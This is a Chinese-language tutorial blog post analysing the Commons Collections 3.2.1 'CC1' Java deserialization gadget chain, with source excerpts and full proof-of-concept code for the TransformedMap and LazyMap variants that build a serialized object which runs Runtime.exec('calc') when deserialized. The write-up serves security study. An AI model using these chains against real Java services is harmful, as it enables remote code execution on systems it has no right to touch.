Commons Collections1
2022-02-17 01:37:36

环境搭建

JDK:<8u71

本白用的是8u65

img

1
2
3
4
5
6
7
8
9
10
<dependencies>

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

</dependencies>

代码审计

入口点是一个Transformer接口,里面只有一个transform的对象

img

该接口的实现类

img

该接口的重要实现类有:ConstantTransformerinvokerTransformerChainedTransformer,TransformedMap

ConstantTransformer

其中我们来看一下ConstantTransformer

img

常量转换,转换的逻辑也非常的简单:传入对象不会经过任何改变直接返回。例如传入Runtime.class ,进行转换返回的依旧是Runtime.class

这里的iConstant是在构造函数时传入的一个对象

但是无论是调用transform方法还是getConstant方法,他们的返回值都是iConstant

所以该类的作用就是包装任意一个对象,在执行回调时返回该对象

InvokerTransformer

再来看下InvokerTransformer的源码,这也是该漏洞的关键类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
/**
* Constructor for no arg instance.
*
* @param methodName the method to call
*/
private InvokerTransformer(String methodName) {
super();
iMethodName = methodName;
iParamTypes = null;
iArgs = null;
}

/**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param methodName the method to call
* @param paramTypes the constructor parameter types, not cloned
* @param args the constructor arguments, not cloned
*/
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

/**
* Transforms the input to result by invoking a method on the input.
*
* @param input the input object to transform
* @return the transformed result, null if null input
*/
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

其中在实例化InvokerTransformer时,有三个参数

1、需要执行的方法名

2、该函数的参数列表参数类型

3、该函数的参数列表

img

实例化后,紧借着调用了transform方法,也就是执行了input对象的iMethodName方法

img

到这里我们可以根据InvokerTransformer的参数来写一个本地rce

img

1
2
3
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

img

到这里,我们先整理一下思路,看我们下一步需要找什么

img

对于反序列化,我们肯定要找到一个readObject来读取InputStream流的对象,而最后的恶意代码执行也有了上面的InvokerTransformer类可以实现,所以下一步我们就需要找到一个调用transform方法的类

跟进我们写的本地执行中transform方法,并查询调用该方法的所有类

TransfomedMap

其中在TransformedMap类中有3处调用

img

img

接受的对象时map,但是传出的键名和键值,也就是key和value是经过修饰的

其中这里的静态方法会返回经过TransformedMap方法处理的对象,键名和键值

img

而其中关于键值value的transform

img

我们跟进会发现到了TransformedMap的父类,也就是AbstractInputCheckedMapDecorator

img

这里的setValue是对MapEntry的方法重写,其中会调用checkSetValue,从而触发valueTransformer.transform

poc:

1
2
3
4
5
6
7
8
9
10
11
12
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"});

HashMap<Object, Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
for (Map.Entry entry:transformedMap.entrySet()){
entry.setValue(r);
}
}

所以我们可以for循环MapEntry中map对象,再去调用value的transform方法

img

从我们写的poc来看

setValue方法会调用到TransformedMap的父类中的setValue

进而调用checkSetValue从而触发valueTransformer.transform(value)

而这里的操作相当于

1
2
Runtime r = Runtime.getRuntime();
invokerTransformer.transform(r)

也就达到了命令执行的目的

当然我们也可以通过另一个实现类完成命令执行的操作

ChainedTransformer

****ChainedTransformer****类封装了Transformer的链式调用,我们只需要传入一个Transformer数组,ChainedTransformer就会依次调用每一个Transformertransform方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param transformers the transformers to chain, not copied, no nulls
*/
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

/**
* Transforms the input to result via each decorated transformer
*
* @param object the input object passed to the first transformer
* @return the transformed result
*/
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

第⼀个是ConstantTransformer,直接返回当前环境的Runtime对象;第二个是InvokerTransformer,执⾏Runtime对象的exec⽅法

手工put触发回调

poc:

1
2
3
4
5
6
7
8
9
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
Map outerMap = TransformedMap.decorate(map, null, transformerChain);
outerMap.put("key", "value");
}

至此,我们的链子

img

虽然调用的实现类是不同的,但是大致的步骤都是差不多的

都是通过对Map对象的value值进行操作,将调用InvokerTransformer 的对象存入Map→Value

并调用TransformedMap.decorate这一静态方法,使其触发valueTransformer.transform方法,实际上也就是触发invokerTransformer.transform 从而达到命令执行的目的

当然,上面的两个EXP还不算真正的链子,应该将Map对象变成一个序列化流

既然是反序列化,触发的点就是readObject,我们还需要找到一个存在类似的写入操作

接着开始找哪里调用了setValue方法

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}

注意到这里存在Map.Entry的遍历和调用setValue,大致是符合我们上面写的第一个EXP

再来看一下构造函数

img

这里就有两个问题了

1、Runtime.getRuntime()没有实现java.io.Serializable接口,不能序列化

2、想要调用setValue需要经过两个if判断,否则不能调用

这里的Map是我们可控的,也就是可以调用invokerTransformer.transform

并且这里的class关键字前没有public,不能直接调用,这里就需要反射获取

1
2
3
4
5
6
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandler = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandler.setAccessible(true);
Object o = annotationInvocationHandler.newInstance(Override.class,transformedMap);
serialize(o);
unserialize("ser.bin");

同时这里的Runtime部分就不能用java.lang.Runtime了,而是java.lang.Class并写在ChainedTransformer 数组内

1
2
3
4
5
6
7
8
9
10
11
12
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};

接着就是第二个问题

我们先在第一个if打上断点调试看下

这里判定为null,肯定无法进入if

img

考虑到我们之前调用的无参方法中注解类存在value的参数

img

img

所以这里将map对象的key修改为value并将焦勇的无参方法换成Target

所以最终的poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {

// Runtime r = Runtime.getRuntime();
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
// new Class[]{String.class}, new Object[]{"calc"});

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);

// Class c = Runtime.class;
// Method getRuntimeMethod = c.getMethod("getRuntime",null);
// Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
// Method execMethod = c.getMethod("exec",String.class);
// execMethod.invoke(r,"calc");

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "ki10");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
//
//
// for (Map.Entry entry : transformedMap.entrySet()) {
// entry.setValue(r);

// }

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdConstructor.setAccessible(true);
Object o = annotationInvocationhdConstructor.newInstance(Target.class, transformedMap);

serialize(o);

unserialize("ser.bin");

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

img

至此TransformedMap 这条链子就走完了

img

但是通过ysoseiral源码发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections

该链调用的并不是TransformedMap而是LazyMap

相较于TransformedMapLazyMap 也要更复杂一点

这次的链子,我们反着来学习

从源码中不难发现,在AnnotationInvocationHandler.readObject() 方法下没有直接调用Map的get方法而是使用了动态代理

我们首先来看一下LazyMap中的get方法

img

其中containsKey是布尔型的

img

也就是说当containsKey不存在时,就会去调用factory.transform(key)并将其作业返回值

但对于sun.reflect.annotation.AnnotationInvocationHandler 这个类来说,实际上这个类是继承了InvocationHandler 的。也就是说,可以将这个对象动态代理,在readObject的时候,调用方法就可以进入AnnotationInvocationHandler的invoke方法,从而调用LazyMap中的get(key)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
public static void main(String[] args) throws Exception {

// Runtime r = Runtime.getRuntime();
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
// new Class[]{String.class}, new Object[]{"calc"});

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
} ;
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();

Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
InvocationHandler handler = (InvocationHandler)cons.newInstance(Retention.class, outerMap);

Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
handler
);
Object o = cons.newInstance(Retention.class, proxyMap);
byte[] bytes = serialize(o);
unserialize(bytes);
}
public static void unserialize(byte[] bytes) throws Exception{
try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bain)){
oin.readObject();
}
}

public static byte[] serialize(Object o) throws Exception{
try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(o);
return baout.toByteArray();
}

}
}

img

最后

poc适用的版本应该是<8u71